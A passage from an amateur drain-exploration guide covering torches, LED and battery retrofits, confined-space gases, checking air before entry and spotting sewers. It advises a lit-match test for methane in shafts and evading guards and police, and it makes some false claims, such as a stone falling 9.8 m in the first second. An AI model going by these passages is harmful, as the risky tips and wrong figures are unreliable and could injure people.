+is that dark-adapted human eyes have extreme sensitivity to light, because of
+the HUGE signal-gain of the processes intrinsic to retinal rods and their
+rhodopsin-based photon capture machinery. When the irises are fully dilated
+and your eyes have adapted to detect single photons, it really hurts
+to have several thousand trillion of 'em pumped into your retina.
+
+Whilst usually not critical in a drain, carelessly shining a light, or firing
+a camera flash in a nocturnal topside expedition will invariably attract
+unintelligent pest organisms like moths and security guards. Practise
+"light-care". Let your eyes adapt, and then travel with as little illuminant
+as possible.
+
+Torches in general
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+There is a tendancy among newbie drain explorers to carry a macho-lookin'
+photon-blastin' torch, which is a little silly insofar as they are hard to
+conceal when walking to or from a drain, or when being interrogated by proto-
+porcine authoritarian low-lifes.
+
+Small torches are easier to hide on your person, as well as being easier to
+cover when lit for "light-care" reasons.
+
+Cheap torches are less of a hassle to abandon or lose, and tend to be less
+reliable than good quality torches but can be made more rugged in numerous
+ways.
+
+Since the drains are wet and dark, the first requirement is that torches are
+reliable. Reliable is good. You need your light source more than it needs you.
+Turn your torch off and try and walk along in the dark to demonstrate this.
+
+Second requirement is waterproofness. Water will short your torch or corrode
+its guts, making it unreliable. Unreliable is bad.
+
+The next requirement if the torch is not attached to you in some way, is that
+it floats... drop a Maglite in the water and it'll sink like a brick,
+possibly to where you can't get it back, so add a wrist-loop, or forget 'em,
+unless you feel you need a torch which doubles as a truncheon (or is that a
+boat anchor).
+
+A certain amount of ruggedness in design is useful.
+
+The early Dolphin torch, the Series 1, whilst bulky, fulfills these
+requirements. Its seal is straightforward, it is easy to assemble in the dark
+by feel (one should know how to reassemble one's torch and replace the
+battery/bulb in the dark) but is relatively hard to hide.
+
+Keyring-mounted mini-maglites are good for emergency use.
+
+The Petzl Zoom headtorch (with added silicone waterproofing, custom LED globe
+and NiCd batteries) is my illuminant rig of choice. Clones of Petzl head
+torches also exist for less money and use flange-fit bulbs in lieu of the
+Miniature Edison Screwbase bulbs used in genuine Petzl units. The most common
+failure mode of the Petzl head torch is breakage of the copper strands in the
+wires leading from the battery compartment to the headlight, either near the
+headlight or the compartment case. This is cheaply remediated with a length
+heavier duty wire of the same outer diameter. The Petzl carries a fitting for
+a spare globe.
+
+I recommend SRT Australia 97096299, 11 Nelson Ave Padstow NSW. They sell:
+Princeton head torch. No zoom, very waterproof, uses 4 x AA cells $75.65
+Petzl Zoom head torch. Zoom, water resistant, uses 3 x AAs or 3LR12 $78.50
+
+Some reports have stated that the Princeton is somewhat brittle and
+susceptible to case fracture with hard shocks.
+
+I usually back up my petzl with a two D-cell flashlight, and also a
+finger-mounted orange LED micro-torch. Spelean (92642994) is the sole
+Australian proprietor for Petzl, though there are other licensed distributors.
+
+Occasionally people bring fluorescent-tube torches into a drain, and they
+work fine for local viewing but aren't so good for shining light into
+the middle distance, and they also break relatively easily in our experience.
+Cuts from broken fluoro-tube glass take a long time to heal up, healing is
+inhibited by the rare-earth phosphors inside the tube.
+
+We are all envious of TV crews and their high-powered Sun Gun systems, with
+belt-mounted batteries. We are not envious of the effect these devices have
+on our dark-adapted eyes. Ow!
+
+Cyalume sticks are a good emergency light source. They are bright for about 3
+hours then go for another 5 hours. Shelf life is about 3 years. Freezing
+probably helps preserve the protein component which makes the light. It is
+fun to make these glow, then cut them open and pour the glowing goop on the
+street at night, people get it on their tyres and leave glowing treads going
+off into the distance... just don't get it on your clothes or it will
+permanently stain them. They can be obtained from disposal stores ($5-10 each)
+or from Sigma Aldrich: Unit 2, 14 Anella Avenue (or PO BOX 970) Castle Hill
+NSW 2154; in red, yellow or orange (12 hr duration), six sticks for $40
+(+ $15 P&H), though Sigma no longer have green, white or blue for some reason.
+
+
+Globes/Bulbs.
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+
+Incandescent Filament Types
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+I don't bother with Halogens. They are very bright, but also very hot, are
+powerÄhungry, expensive and eventually go yellowish. Kryptons are more
+efficient than the standard globe but also a little dearer, and many people
+use them happily. Globes come in bayonet, MES (miniature edison screwbase) and
+flange fittings. The voltage and current ratings are usually stamped into the
+metal fitting. The filament is usually tungsten, the globe is usually
+backfilled with an inert gas like krypton or xenon to minimise filament
+evaporation.
+
+Making filament globes last for longer
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+Say you have a 4.5V globe in your torch, and you feed it 4.0V. This means it
+isn't quite as bright as it could be, but human scotopic vision is very
+sensitive, and the percieved dimness problem goes away once the eyes have
+dark-adapted.
+
+Filament globes last a LOT longer when you operate them below their designated
+voltage - globes are manufactured to have a certain life - a few hundred
+hours - at their correct operating voltage, then they die, forcing you to buy
+another bulb, however they often die faster than this, because a freshly
+recharged battery will deliver slightly more than its rated voltage, and this
+excess voltage will quickly evaporate the filament (or migrate the dopants in
+the case of semiconductor light sources), shortening its lifespan. Using
+them at lower voltage means you win two ways, buying fewer batteries and
+killing fewer globes.
+
+
+Semiconductor Types
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+For prolonged, medium output light, you can employ the new high-intensity
+light emitting diodes (LEDs) which are now available. They work for 11 years
+continuously, and come in a variety of sizes and colours, including white.
+
+You can use red ones if you don't want to mess up your night vision, and you
+can use infrared ones if you want to make an IR floodlight for use with a
+nightscope. LEDs are very power efficient because they waste almost no energy
+as heat. They're hard to break, being made of epoxy, not glass.
+
+White LEDs do have some significant drawbacks associated with their use. They
+are costly, polar (must be fitted right way around) and their total brightness
+is currently much less than a typical cheap incandescent globe. If you're with
+other people who are using regular torch globes, the LED light will appear
+dim relative to their torch light. They are prefocussed and hence the Petzl's
+Zoom function doesn't work with the LED source.
+
+They don't like being over-voltaged. For example, a LED which likes to run
+off 20mA, pushed by a 3.6 volt source, will die quickly if fed with 4 volts.
+Also, the LED needs at least 3.6 volts to light up, some batteries may not
+deliver this voltage after some period, even though the cells still have lots
+of energy left in them - they will be dim if fed their required current at
+less than their required voltage. Getting around this requires a DC/DC
+converter and tricky support circuitry.
+
+So, they're best used for single person operations, as close-up light sources,
+or emergency use.
+
+Crudely retrofitting a globe with white LEDs is simplicity itself. Choose a
+LED with the right voltage for the sort of battery with which you power your
+torch, or include a 0.25W resistor of appropriate value in series with the
+LED for use with a particular LED if there's excess voltage coming from the
+DC source.
+
+Voltage: Resistance
+ 3.5 0
+ 4.5 33
+ 6.0 82
+ 9.0 180
+12.0 270-330
+24.0 680 (ex: DSE)
+
+Take out the normal glass bulb, break the glass, solder the LEDs (in series
+with required resistor) onto the protruding wires where the filament used to
+be. (LEDs are polar so ensure it's soldered into the globe the right way
+around.) You can cut short the leads on the LED to make it fit where the bulb
+used to be. Some LEDs give more light than others, some have better beam
+focussing than others. Once it's all soldered up, you can seal it with
+silicone, let it dry, screw it into the same socket as the original bulb used
+to fit in.
+
+I built a LED globe for my Petzl, using three white LEDs at six candela each.
+The current drain is 60mA, and it's quite bright - staring into it is painful.
+It goes continuously for a couple of days off my abovementioned NiCds. Its
+sole drawback is its lack of a focussed spot at a distance. I have since made
+a MES screwbase accommodate six such LEDs after filing the LEDs into 60 degree
+wedges, but this was quite tricky.
+
+These LEDs are $7 retail at Jaycar. Note that because LEDs have low current
+drain, NiCds don't "die" as drastically as they do with conventional filament
+globes.
+
+Cave Clan Research and Development Division are in the process of making white
+LED globes with inbuilt overvoltage protection, current regulation and
+undervoltage compensation, for cavers, drain explorers, rock climbers, and
+other connoiseurs of miniaturised, high-tech, energy efficient lighting. For
+details see http://cat.org.au/~predator/whiteled.htm - there is no guarantee
+that the production model will be ready prior to circulation of this .txt
+but the URL is where the first mention will be made thereof.
+
+Laser pointers are hazardous to dark-adapted eyes and hence should not be
+used carelessly, if at all.
+
+Care and Feeding of Batteries
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+I recommend Alkaline types for the casual expo and high capacity (4 or 5
+Ampere/Hour D cell) NiCd types for light weight, and prolonged rechargeable
+power, over a life of several years.
+
+Australian Consumer Association did tests revealing that Energiser alkaline
+batteries do have a more gradual close-to-flat discharge curve than equivalent
+size Duracell batteries. Both Energiser and Duracell are far more expensive
+than Woolworth's "Acme" brand alkaline cells, which perform very similarly to
+both Energisers and Duracells.
+
+Take batteries that are "known about" - that is, don't borrow gran's torch
+in the hope that she keeps the batteries fully charged. Life really sucks
+when your torch goes flat. Especially in a drain. Especially at night.
+Especially if it isn't your &@#{%$* torch.
+
+My current favourite torch, The Petzl Zoom, (variable focus) uses a special
+Duracell 4.5V 3LR12 (MN1203) battery, which including 12% tax, thanks Mr
+Costello, costs a lot, $11.10, and outlets are scarce. You can drop 3 AA's
+into the adaptor it comes with but they are expensive. Accu rechargeable
+batteries for Petzls cost too much ($80.00, you could get another head torch
+for that!).
+
+So I have retrofitted my Duracell Petzl batteries : I used 'em, then cracked
+'em open, pulled out the dead alkaline cells and fitted three 1Ah 1.2V NiCd
+A cells each (in series with a polyswitch protector rated to trigger at
+three amperes) to give 3.6V DC, 1 amp-hour. They're silicone-sealed for
+waterproofness, the tag-ends solder-coated to minimise corrosion. Wicked.
+
+Note that The Cave Clan Research and Development Division will also
+retrofit old, dead Duracell 3LR12 batteries with rechargable 1Ah NiCds and
+polyswitches on request. See the URL for white LED globes (above).
+
+Different cell types differ in their discharge/voltage characteristics.
+
+Alkaline cells, Nickel Metal Hydride cells and the standard Zn/NH4Cl "carbon"
+cells, will get dim gradually over their life before getting totally flat.
+By comparison, NiCds will not dim much at all, but will then go from nearly
+flat (dim) to totally flat (dark) very quickly.
+
+What this means is, say you're using alkalines, and you notice the globe
+dimming. You might have half an hour before the alkaline battery is totally
+dead, whereas once you percieve a similar size NiCd going dim, you might only
+have light left for a couple of minutes. This is something which although not
+threatening in itself is something of which the NiCd user should be aware.
+
+The steepness of the NiCd discharge curve is not such a concern if you use a
+LED globe (see below) because LEDs exhibit low current drain and will still
+function on an almost-flat NiCd for some time. This is not an excuse to go in
+drains with half-flat NiCds.
+
+Make sure NiCds are totally flattened before recharge, to remove the 'memory'
+effect. I deep-discharge my 3.6V NiCd battery with a 2.2V LED until it doesn't
+glow any more (each 1.2V cell is flattened down to 0.73V) then charge them at
+the "charging current = 0.1 x the total battery amp capacity" rate for 10
+hours or so. Do whatever the manufacturer recommends for your battery. Some
+NiCds will self-destruct if you fast charge them at rates higher than the
+10 hour rate.
+
+NiCd's are very cheap in the long term despite the initial capital outlay.
+They handle abuse well; for instance, they won't degrade if left fully flat
+like lead acid cells will. NiCd's also have practically zero internal
+resistance, so don't short them out as this causes the electrolyte to boil
+and the cell will split or the internal tabs will melt. Short-out damage can
+prevented by putting a bimetal strip switch (Klixon type) or better, a
+polyswitch in series with the cells in the battery. A polyswitch protector
+acts like an infinitely resettable fuse. Polyswitches (positive temperature
+co-efficient resistors) are obtainable from Jaycar:
+
+ Trip Current (amp) Jaycar Cost (each)
+ 3.75 $3.25
+ 2.8 $2.85
+ 2.4 $2.75
+
+Choose one rated way beyond the expected current loading of the battery (say,
+over three amps), so it won't interfere with normal operation loads. Using
+polyswitches in your battery rig is excellent cheap insurance to protect your
+investment in the battery itself.
+
+Dropping charged batteries in salt water, especially fully charged, is highly
+unrecommended, hence the recommendation to use good silicone sealant.
+
+My charger hangs off the mains, but you can also buy or build ones that will
+deliver 6V off a 12V car battery. Mains-driven ones may consist of a stepdown
+transformer, a bridge rectifier (WO-04 or equivalent), an optional smoothing
+capacitor, resistors to bring the voltage down to that required by your
+battery, and alligator clips for attachment to terminals. The typical circuit
+is on p247 of the Dick Smith Electronics Catalog, but it's a pretty wasteful
+circuit. There are other circuits which use three-terminal regulators (for
+example, the LM317T regulator in a TO-220 (solder-tags, not chassis-mount)
+to give you the required voltage, these are more efficient.
+
+Note that Alkaline and Zinc-carbon cells develop 1.5V, NiCd cells develop
+1.25, NiMHs develop 1.2V, lithium cells 3V, - pick a bulb voltage appropriate
+for the number of the type of cells you will use. Four 1.5V cells, or
+five 1.25V cells, develop 6V, so use a 6V globe, or for longer globe life and
+generally a cooler globe (important in plastic torch fittings which can and
+DO melt) use a 7.2V globe and feed it 6 volts. You get the idea.
+
+Battery Specialties, at Unit 5, 8Ä10 Deadman Rd, Moorebank NSW (02) 98240033
+sell a nifty sealed lead acid battery : PS650L, 6V 5Ah for $25.00 (incl tax)
+and deliver for $10 to anywhere in Oz. It's a spring terminal battery in a
+standard lantern battery configuration, so it will fit in a dolphin. These
+require storage in the charged state and are less tolerant of shorting,
+possibly they are also a little heavier.
+
+Alkaline cells are costly unless you re-use them, and they *are* rechargeable,
+since the advent of electronic chargers-on-a-chip which pulse-charge the cell
+and then sense the back-voltage of the alkaline cell to prevent the cell from
+overcharging. Oatley Electronics, Lorraine St, Oatley NSW (02)Ä95843563
+sell a mail order a shortÄform kit ($24 + P&H) to build or the full form kit
+(including the power supply, it uses 240VAC) for $36 + P&H. I have no data
+on their performance, though the late Mullet thought they were pretty good.
+
+!!! SHITTY PRODUCT ALERT !!! SHITTY PRODUCT ALERT !!! SHITTY PRODUCT ALERT !!!
+Do ÄNOTÄ buy the Eveready PKLÄ1200 rechargable lantern battery. It is fucked -
+overpriced empty space, has woefully little capacity for its volume, is not
+waterproof when you buy it, and doesn't even give you 6V (a measly 4.8). It
+uses elÄcheapo cells and an unsealed bimetal strip switch to prevent
+internal overheating (they could have spent extra cash on a decent Polyswitch
+resistor, but no...) in the event of a short. Eveready's fascist technical
+staff won't divulge the schematic of the simple charge board inside that
+battery, which you need to reconstruct because it will eventually corrode if
+exposed to moisture. LowÄquality pricks.
+
+!!!!! ANOTHER SHITTY PRODUCT ALERT !!!!! ANOTHER SHITTY PRODUCT ALERT !!!!!
+Another crappy Eveready product is the rechargable RC-290 flashlight. Whilst
+the parabolic reflector at the front does a very good job at focussing the
+globe's light into a nicely collimated beam, the torch has a woeful, measly
+internal 2.4V 0.28Ah NiCd inside. This torch is marketted as a power-failure
+operated rechargeable flashlight... I think I'd want a LOT more than 0.28Ah
+(about 1 hour of light) stored up inside a torch I'd purchased in preparation
+for a power failure. The RC-290 can be retrofitted with 2 of 1Ah "AA" NiCds,
+and the existing NiCd pile removed. Real estate inside the case is tight, the
+1N4004 power diodes on the printed circuit board should be re-soldered to the
+copper-track side, enable the new NiCds to fit. Such a retrofit will give
+about three hours of light.
+
+You can cheaply build a good 6V 4Ah NiCd rechargeable lantern battery! Buy a
+6V lantern battery with a plastic case, use it till it dies, carefully open
+it up, pull the guts out, and shove five of the 4Ah 1.2V NiCds, and a series
+3 amp polyswitch, into it. It's a tight fit. Solder the cells together, use
+insulated, medium-duty conductor. Seal it. Charge it. Re-use it for the next
+twenty years, and be happy. You can usually score two of these excellent 4Ah
+1.2V NiCd cells from emergency "EXIT" lights, which use them as a backup if
+the power fails. They come with metal tags terminals in this case. Hmmm...
+take the whole EXIT sign and use *that* as a torch... um, nah.
+
+Cost of 5 4Ah 1.2V NiCd cells is about $80 at DSE, though there are places
+around that sell 'em cheaper. Jaycar (city) sell a really great D-cell sized
+1.2V NiCd with 5.1Ah capacity! $17 each, $15.25 each if you buy ten or more.
+They're Vinnic brand, Catalog number SB2466. Their fone number in Sydney in
+the city is 92671614
+
+Gates Energy Products of Gainesville, Florida make 4Ah 1.2V NiCd D cells as
+does a French company called SAFT, so does Vinnic (at Jaycar).
+
+Here is some more free advertising for nEveready: despite the most useless
+battery on the market, they did make a great torch, once Ä the series 1
+Dolphin, of which I think you can still get a good Republic Of China copy,
+from DSE for thirty bucks... Performer brand or something. Ha ha, sucked in,
+Bhopal Bastards.
+
+I have no personal experience with the new, high capacity Nickel Metal Hydride
+cells. I would recommend them on the basis of the fact that per unit volume
+they store twice as much energy as NiCd's and exhibit no memory effects. I
+don't know about their discharge voltage characteristics. A high level Clan
+man attempted to recharge some NMH cells in a NiCd charger... once. One of
+the cells detonated and blew the end off the charger, so at least I can tell
+you to be meticulous when recharging NMH's.
+
+You can often calculate how long your rig will provide you with light. If
+you're using a globe which uses 3 volts, 0.22 amps, then a 3 volt battery
+(two 1.5V cells) rated at 1 amp-hour gives 1Ah ö 0.22a = 4.5 hours of light.
+
+LEDs use weenie amounts of current, sometimes 0.02 amps, so you get light
+for much longer time off the same charge.
+
+It is prudent to do a test session with your torch and batteries to find out
+how many hours of light you can expect from your particular rig. Set up your
+torch with a globe and a battery just like you'd usually use in a drain,
+turn it on and start the stopwatch, time how long it takes to go dim and die.
+You might be surprised at how little you get. My Petzl rig delivers about
+7 hours light from a 4.5V 0.22A globe, even though it operates under its rated
+voltage, and I carry a spare battery. The 3-white-LED globe will go for about
+two days. I'm rarely underground for 14 hours these days, but it's nice to
+know if I am, or if I come out in the dark of night, I have the light to go
+the distance.
+
+Spare batteries are a good idea too, especially in your spare torch (ho ho).
+The spare torch should be immediately used to check out what's wrong with
+the main torch, if possible, so if the spare torch also fails, you still have
+your main torch. I'm a bit iffy about lending my spare torch, because then
+I and the person I lend it to have no backup torch. It sounds a bit fussy,
+but all these backups assure you can still see where you're going.
+
+In dire emergencies, Clan personnel have used camera flashguns, cigarette
+lighter flint-ignition sparks, lit matches, laser pointers, flashing lights
+from roadworks, Vistalite bicycle safety blinkies and the backlit displays of
+mobile telephones as light sources. These do not perform very well and we do
+not recommend them.
+
+
+Air quality determination.
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+First, a few words from Inspector, a non-clanman who sent us this info to our
+filebase on the late lamented WebBBS.
+
+A CONFINED SPACE
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+A Confined Space is a space of any volume which:
+a) is not intended as a regular workplace.
+b) has restricted means for entry and exit.
+c) may have inadequate ventilation and/or atmosphere which is either
+ contaminated or oxygen deficient.
+
+In the working industry, there are mainly 4 different categories for confined
+spaces. Three of the four categories require the use of ventilation, gas
+testing and monitoring.
+
+Hydrogen Sulfide
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+Gas Detectors are set to alarm at 10 parts per million, indicating for
+relevant parties to evacuate the area immediately. The area must be
+ventilated and reÄtested before any personnel may legally enter the confined
+space. Hydrogen Sulfide is a dangerous gas as the sense of smell diminishes
+with this gas. One could have a false sense of security if they smell the gas
+and continue to stay in the hazardous area. The Board's Instruction 800
+states that you must evacuate the area immediately.
+
+Hydrogen Sulfide is a colourless gas and is very flammable, which sometimes
+has the odour of rotten eggs. It is heavier than air and is often detected at
+the bottom of manholes and trenches. After 2 to 15 minutes exposure humans
+lose the ability to smell Hydrogen Sulfide and it is then that Hydrogen
+Sulfide becomes dangerous as its presence is no longer apparent without
+testing!
+
+Carbon Monoxide
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+Carbon Monoxide is colourless, odourless, flammable and very toxic. Its
+presence can only be detected evenly by proper testing. Don't be fooled in
+thinking you can smell this gas because you can smell exhaust fumes from a
+car, as said before this gas is odourless!
+
+This gas is a chemical asphyxiant and is readily absorbed by the haemoglobin
+in the blood. Then haemoglobin is unable to transport oxygen to the body
+tissues and the body becomes oxygen starved. Actually, the body will absorb
+carbon monoxide 300 times more readily than it absorbs oxygen. Excess Carbon
+Monoxide causes headaches, heart palpitations, with a tendency to stagger
+when walking, mental confusion.
+
+Gas Detectors are calibrated to alarm at 50 part per million of atmosphere.
+Any reading above this must be treated as a hazard to your health, as this
+gas can also kill you if the level is high enough, and the dosage is
+cumulative.
+
+Methane
+ÄÄÄÄÄÄÄ
+This is another odourless gas which is also explosive. Hydrogen Sulfide and
+Methane can be tricky gases. One example is that the area can be deemed safe
+by using a correctly calibrated gas detector ...but the trap can be that
+there is sludge on the ground which once disturbed (e.g. by walking through)
+can emit toxic lethal doses of Hydrogen Sulfide and Methane which can kill
+you. There are a few case histories in the industry where an employee has
+collapsed and his colleague has gone to help (natural instinct) and has also
+fallen victim and collapsed and died too. This HAS actually happened and has
+been documented!
+
+Gas detectors are set to alarm at 5% of the lower explosive limit. This is
+considered to be a safe working precaution under the Board's Instruction 800.
+
+Oxygen
+ÄÄÄÄÄÄ
+Oxygen levels must be in the range of 19% Ä 21% to sustain a premium supply
+to the human body. Lower levels will cause head aches, dizziness, weakness
+and finally collapsing. No oxygen, means no life! Also too much oxygen can
+cause unusual behaviour in you or your colleague. One can become irrational,
+suddenly happy (etc) and too much oxygen is also a fire risk (it vigorously
+accelerates combustion)! Experiment...get a normal rag and try to light it
+with a match...take note how much effort is needed to ignite the rag to burn.
+Now get an oxy bottle and hit the rag with a burst of oxygen for a few
+seconds... now light the rag again Ä WOOSH! You will be surprised at the
+difference.
+
+Oxygen may be used up by the rusting of fittings and steelwork and by aerobic
+bacteria (i.e. oxygen-using bacteria). Oxygen may also be displaced in a
+confined space by heavier flammable gases, toxic vapours and inert gases.
+
+The effect of Oxygen is summarised in the following...
+
+21% Normal behaviour
+16% Increased breathing/pulse rate; headaches; nausea
+12% Dizziness; nausea; reduced muscle power
+10% Turns pale, becomes unconscious
+8% Unconscious, fatal in 7Ä8 minutes
+
+Drain exploring can be challenging and adventurous, but you must think of
+what you are doing as dangerous and you must consider having a professional
+attitude. Think intelligently and be alert!!!! If Hydrogen Sulphide is
+lurking about in the atmosphere or trapped under sludge in a confined space,
+don't think "Hey this dude is an experienced Clan man, it won't bother him".
+
+Self Rescue Gear
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+Self Rescue units can be purchased. (I don't know the prices) They come in
+differing configurations usually consisting of a gas cannister and a hood,
+and are carried by a belt around the waist. They can save your life but are
+mainly for short term selfÄrescue Ä 5 minutes or so until oxygen is depleted.
+
+There are other units also available which work on a rebreather principle.
+Once popped open, they can supply approximately 30 minutes of oxygen, (if you
+keep calm). They work by the vapour from your breath reacting with the
+crystals in the canister, [potassium superoxide, KO2, which gives KOH, H2O2
+and O2 gas when it reacts with the water vapour in your breath - ] which
+gives off pure oxygen. The canister has a mouth piece (similar to a snorkel)
+which is used as you evacuate the area. They can only be used once, and then
+must be sent to the supplier for refitting and resealing.
+
+Cockroaches
+ÄÄÄÄÄÄÄÄÄÄÄ
+These guys are pretty tough, and some people are misÄinformed as they think
+when they lift a manhole and see a hundred or so hanging about under the
+top of the manhole, that the air is OK. The reason they are doing this is
+because they are trying to get OXYGEN. Don't be conned and think cockroaches
+mean it is 100% safe.
+
+Summary : Confined Spaces Hazards
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+A lot of this above info probably applies more to SEWER environments but
+remember, don't get too confident, as gases and toxic fumes can form for a
+variety of reasons. If you start to get stinging eyes or a headache...chuck a
+"U" turn Ä pronto! Don't think you failed your exploration, but evacuate and
+think it through and see if you can make the environment safe somehow. Better
+another attempt than than being dead. If your mate has collapsed unconscious
+up ahead or down a manhole from gases Ä the Board's Instruction stipulates NOT
+to rescue, (as you may become a victim too) but to get help. Human nature
+being as it is, usually results in the individual attempting to help his
+friend, but realise you are doing this at your own risk, be on the ball
+and use your common sense. Only you, can be the judge to make the decision.
+
+Ventilation is the key to help controlling the atmosphere in a confined space.
+The atmosphere in a Confined Space can change rapidly at any time. As well as
+hydrogen sulfide, carbon monoxide, combustible gases, and oxygen
+deficiencies, such gas as nitrogen oxides, chlorinated hydrocarbons, cyanide,
+petrol vapour, and combustion engine exhaust fumes may be present. If any
+unusual feature such as suddenly increased flow, a change in the colour of
+the sewer/water, you must cease immediately!!
+
+The CLANNING Spirit
+...you only live once! "When Clanning, use planning."
+
+>>>Inspector has spent 19 years in the confined spaces area and again I
+thank him for his suggestions here. Instruction 800 has been recently
+superceded by another Sydney Water directive but for some reason they won't
+provide us with it. There are now programmable gas detectors on the market
+which, in my opinion, beat shit out of the GasTech units and are cheaper
+to service and self calibrating, too! Lash out on one - wicked.
+
+
+Checking it out before getting In.
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+Usually you can get into a drain by climbing into a canal (use the stepirons
+or carefully jump down onto a dry patch of concrete) and walking along until
+you reach a tunnel. Or you might find a gross pollutant trap, and just climb
+down the grille and walk in from there. Sometimes, though, you'll be entering
+a grille - shine your torch through it and look down first (some are really
+deep) and occasionally you'll even be doing a manhole.
+
+Ok, so you have just popped a cover in the middle of nowhere, and a drain
+yawns invitingly below you. Now then, is it safe to breathe? You can always
+lash out on pellistorÄdetector driven gas analysis systems, (Jaycar sell a
+kit (KG9178, $35) which picks up carbon monoxide and flammable volatiles, I
+don't know anything about their accuracy) but usually the average drain
+explorer will not have these things handy.
+
+Manhole shafts tend to have spiders and cockroaches living in them. These
+organisms breathe oxygen like us, serving as a useful way to determine if O2
+is actually present. Note that they can live on a lot less O2 than we can, and
+that just because there are a heap of cockies down there it doesn't mean the
+air is OK. Total lack of it will kill them as well as us, of course.
+
+Breathe into the shaft. Usually they are humid and droplets of your condensed
+exhaled water vapour will form. If the vapour stays relatively still, that is
+an indication of stagnant air. If on the other hand it moves down into or up
+from the shaft that is a good sign, since drains are generally not big enough
+to support barometricallyÄdriven tidal `breathing'... it means there is an air
+current in the drain. Better if it is going down the pipe than up, but it's a
+current nevertheless. Since drains are usually open systems (with the common
+exception of some sumped drains) with an air outlet at the downstream end and
+lots of side tunnels, grilles and gutter grates in the catchment, you usually
+have an air current.
+
+On old, stagnant shafts, you might find a concentration of methane in the
+shaft. Methane (CH4) is lighter than air per unit volume and displaces oxygen,
+so it floats to the top of shafts with good seals, after flowing along the
+ceiling for any distance. Drop a lit match into it, and stand away from the
+shaft collar. The match may go out since the methane will not support burning
+without oxygen mixed in with it. If it ignites you'll get a WHOOMP! and a
+flame, and I would advise you to seek other entrances :)
+
+With the possible exception of anosmics (people who can't smell) you will
+find your nose a useful thing in drains. Sniff cautiously, breathe through
+your nose for the first little while. You may find yourself recognising the
+thin reek of town gas stenching agent, either SO3 (extremely toxic) or
+tetrahydrothiophene (THT... unknown toxicity) since sometimes leaks in town
+gas systems escape into the drains. You will smell sour humidity and the
+smell of rotting vegetation. If you are in a town where the city gas still
+has carbon monoxide then leave if you smell the stenching agent.
+
+There are other risks. H2S (hydrogen sulfide, rotten egg gas) is highly toxic.
+Methane is a flammable suffocant with no odour, so is carbon monoxide. You
+might need to be aware that CO2 is denser than air and accumulates in low
+points and behind rubberÄsealed hatches (a la Scorpion's Flaps). As Inspector
+mentioned, walking up a tidal drain can disturb the mud at the bottom,
+releasing methane and hydrogen sulfide, so be careful of this, too. H2S is a
+particularly insidious toxin due to the human nose's reduced ability to detect
+the stuff after a while.
+
+Ammonia is poisonous (but noticable), as are nearly all the vapours derived
+from illegal dumping... diesel fumes, cyanides from various industrial
+processes (smells like bitter almonds), solvents (acetone, M.E.K., light
+petroleum) and an endless list of other goodies like electroplating waste,
+etchants, etc. Illegal dumping varies from city to city, but tends to occur
+late at night and in the suburbs near the place where the waste was picked up.
+
+Headaches, feeling dizzy, tingling fingers and toes, increased respiratory
+effort... all these point to oxygen deprivation. Note well and live by it...
+if you think anything awry with the atmosphere, then leave. The sooner the
+better, back the way you came. If one of your party needs help, provide it
+but think about your own preservation at the same time. Something to look for
+along the drain route is small feeders from gutter boxes and grilles, these
+often take air from the outside by the Venturi effect and can be a useful
+source of clean air for a brief time.
+
+
+Is this, uh, a... sewer?
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+Sewers can occasionally resemble drainage tunnels very closely. There are
+some sure indicators that you're in a sewer, if you are not certain (this is
+generally following a manhole entrance). Look at the water. If you're in a
+sewer, it'll generally have small fragments of white paper floating along
+in the stream. This is toilet paper. Along with this you will also notice
+there are turds rolling along in the stream, and you will see the occasional
+tampon or sanitary pad, too. Along with this you will notice the water is
+sort of greyish, and the smell is sort of like a cross between shampoo and
+washing powder (which get put into the sewage in huge quantites). If you
+are in a sewer, you want to leave.
+
+Ed Note: I put this in since I was invited to do a drain by some new drain
+explorers... we got the steel cover plate open with a car jack and got in,
+I looked around thinking ... this is a sewer. They'd done a small section of
+it before, and thought it was a drain. I wasn't sure, so I looked in the water
+and sure enough, there was someone's processed dinner, a used condom and a
+small island of stranded tampons. Time to go, I thought.
+
+Determining shaft depth.
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+You can always carry a tape measure but a quick and easy method is to just
+drop a stone from the top and time the interval between the start of the fall
+until you hear impact noise from the bottom. It isn't very accurate unless you
+are pretty quick with a stopwatch. A stone will drop 9.8m in the first second,
+19.6m in the next, and 29.4m in the one after that, ignoring air resistance.
+
+
+ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
+³ 7) Yes, things do live in drains ³
